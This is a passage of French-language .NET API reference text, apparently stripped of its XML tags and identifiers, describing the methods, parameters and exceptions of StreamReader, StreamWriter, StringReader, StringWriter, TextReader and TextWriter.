flux d'entrée et avance la position d'un caractère. + Caractère suivant du flux d'entrée, représenté sous la forme d'un objet , ou -1 s'il n'y a plus de caractère disponible. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal de caractères spécifié du flux actuel dans une mémoire tampon, en commençant à l'index spécifié. + Le nombre de caractères qui ont été lus, ou 0 si c'est la fin du flux et qu'aucune donnée n'a été lue.Le nombre sera inférieur ou égal à la valeur du paramètre , selon que les données sont, ou non, disponibles dans le flux. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Index de auquel commencer l'écriture. + Nombre maximal de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S, telle que la fermeture du flux, se produit. + 1 + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode en cours se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du flux actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus ou non. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S s'est produite. + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères du flux actuel et retourne les données sous forme de chaîne. + Ligne suivante du flux d'entrée, ou null si la fin du flux d'entrée est atteinte. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit une ligne de caractères de manière asynchrone dans le flux actuel et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante du flux, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du flux. + Le reste du flux sous forme de chaîne, de la position actuelle jusqu'à la fin.Si la position actuelle est à la fin du flux, retourne une chaîne vide (""). + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Une erreur d'E/S se produit. + 1 + + + Lit tous les caractères entre la position actuelle et la fin du flux de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères allant de la position actuelle à la fin du flux. + Le nombre de caractères est supérieur à . + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Implémente pour écrire les caractères dans un flux selon un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Source de référence. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage UTF-8 et de la taille de la mémoire tampon par défaut. + Le flux dans lequel écrire. + + n'est pas accessible en écriture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage spécifié et de la taille de mémoire tampon par défaut. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + + ou est null. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Obtient ou définit une valeur indiquant si vide sa mémoire tampon vers le flux sous-jacent après chaque appel à . + true pour forcer à vider sa mémoire tampon ; sinon, false. + 1 + + + Obtient le flux sous-jacent qui sert d'interface avec un magasin de stockage. + Flux dans lequel ce StreamWriter écrit. + 2 + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + + + Obtient le dans lequel la sortie est écrite. + + spécifié dans le constructeur pour l'instance actuelle, ou si aucun encodage n'est spécifié. + 2 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon dans le flux sous-jacent. + Le writer actuel est fermé. + Une erreur d'E/S s'est produite. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + 1 + + + Efface toutes les mémoires tampons pour ce flux de manière asynchrone et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Fournit un StreamWriter sans magasin de sauvegarde dans lequel il est possible d'écrire, mais qu'il est impossible de lire. + 1 + + + Écrit un caractère dans le flux. + Caractère à écrire dans le flux. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un tableau de caractères dans le flux. + Tableau de caractères contenant les données à écrire.Si est null, rien n'est écrit. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un sous-tableau de caractères dans le flux. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit une chaîne dans le flux. + Chaîne à écrire dans le flux.Si a la valeur null, rien n'est écrit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire où commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire dans le flux.Si est null, rien n'est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un terminateur de ligne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans le flux un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Implémente qui lit une chaîne. + 2 + + + Initialise une nouvelle instance de la classe qui lit la chaîne spécifiée. + Chaîne à laquelle doit être initialisé. + Le paramètre est null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Retourne le prochain caractère disponible, mais ne le consomme pas. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Le lecteur actuel est fermé. + 2 + + + Lit le caractère suivant dans la chaîne d'entrée et avance sa position d'un caractère. + Caractère suivant de la chaîne sous-jacente, ou -1 si plus aucun caractère n'est disponible. + Le lecteur actuel est fermé. + 2 + + + Lit un bloc de caractères dans la chaîne d'entrée et avance la position du caractère de . + Nombre total de caractères lus dans la mémoire tampon.Cela peut être inférieur au nombre de caractères demandé si ce nombre n'est pas actuellement disponible, ou égal à zéro si la fin de la chaîne sous-jacente a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Index de début dans la mémoire tampon. + Nombre de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Le lecteur actuel est fermé. + 2 + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Ligne suivante dans la chaîne actuelle ou null si la fin de la chaîne est atteinte. + Le lecteur actuel est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + 2 + + + Lit une ligne de caractères de manière asynchrone à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de chaîne, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne, puis les retourne sous la forme d'une chaîne unique. + Contenu à partir de la position actuelle jusqu'à la fin du flux sous-jacent. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le lecteur actuel est fermé. + 2 + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne de manière asynchrone, puis les retourne sous la forme d'une chaîne unique. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin de la chaîne. + Le nombre de caractères est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Implémente pour l'écriture d'informations dans une chaîne.Les informations sont stockées dans un sous-jacent. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le contrôle de format spécifié. + Objet qui contrôle la mise en forme. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié. + StringBuilder dans lequel écrire. + + a la valeur null. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié et possède le fournisseur de formats donné. + StringBuilder dans lequel écrire. + Objet qui contrôle la mise en forme. + + a la valeur null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Obtient le dans lequel la sortie est écrite. + Encoding dans lequel la sortie est écrite. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + + + Retourne le sous-jacent. + StringBuilder sous-jacent. + 2 + + + Retourne une chaîne contenant les caractères écrits jusqu'ici dans le StringWriter en cours. + Chaîne contenant les caractères écrits dans le StringWriter en cours. + 2 + + + Écrit un caractère dans la chaîne. + Caractère à écrire. + Le writer est fermé. + 2 + + + Écrit un sous-tableau de caractères dans la chaîne. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + ou est négatif. + ( + )> .Length. + Le writer est fermé. + 2 + + + Écrit une chaîne dans la chaîne actuelle. + Chaîne à écrire. + Le writer est fermé. + 2 + + + Écrit un caractère dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans la chaîne actuelle de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si est null, rien n'est écrit dans le flux de texte. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans la chaîne un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans la chaîne. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie par un terminateur de ligne de façon asynchrone dans la chaîne actuelle. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Représente un lecteur capable de lire une série séquentielle de caractères. + 2 + + + Initialise une nouvelle instance de la classe . + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par l'objet et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Fournit un TextReader sans données à lire. + 1 + + + Lit le caractère suivant sans modifier l'état du lecteur ou la source du caractère.Retourne le prochain caractère disponible sans le lire réellement à partir du flux lecteur. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le lecteur ne prend pas en charge la recherche. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant à partir du lecteur de texte et avance la position d'un caractère. + Caractère suivant du lecteur de texte ou -1 s'il n'y a plus de caractères disponibles.L'implémentation par défaut retourne -1. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal spécifié de caractères à partir du lecteur actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon les données disponibles dans le lecteur.Cette méthode retourne zéro si elle est appelée alors qu'il ne reste aucun caractère à lire. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du lecteur est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus. + Lorsque cette méthode est retournée, ce paramètre contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + -1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir du lecteur de texte et retourne les données sous forme de chaîne. + La ligne suivante du lecteur ou null si tous les caractères ont été lus. + Une erreur d'E/S se produit. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + + est fermé. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit une ligne de caractères de manière asynchrone et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de texte, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte, puis les retourne sous forme d'une chaîne. + Chaîne contenant tous les caractères entre la position actuelle et la fin du lecteur de texte. + Une erreur d'E/S se produit. + + est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin du flux du lecteur de texte. + Le nombre de caractères est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Représente un writer capable d'écrire une série de caractères séquentiels.Cette classe est abstraite. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le fournisseur de format spécifié. + Objet qui contrôle la mise en forme. + + + Stocke les caractères de saut de ligne utilisés pour ce TextWriter. + + + Libère toutes les ressources utilisées par l'objet . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de substitution dans une classe dérivée, retourne l'encodage de caractères dans lequel la sortie est écrite. + Encodage de caractères dans lequel la sortie est écrite. + 1 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le writer de texte est supprimé. + Le writer est actuellement utilisé par une opération d'écriture précédente. + + + Obtient un objet qui contrôle la mise en forme. + Objet pour une culture spécifique, ou mise en forme de la culture actuelle si aucune autre culture n'est spécifiée. + 2 + + + Obtient ou définit la chaîne de marque de fin de ligne utilisée pour le TextWriter actuel. + Chaîne de marque de fin de ligne pour le TextWriter actuel. + 2 + + + Fournit un élément TextWriter sans magasin de stockage dans lequel il est possible d'écrire, mais pas de lire. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet dans la chaîne ou le flux de texte en appelant la méthode ToString sur cet objet. + Objet à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne dans la chaîne ou le flux de texte. + Chaîne à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + + ou a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère de façon asynchrone dans la chaîne ou 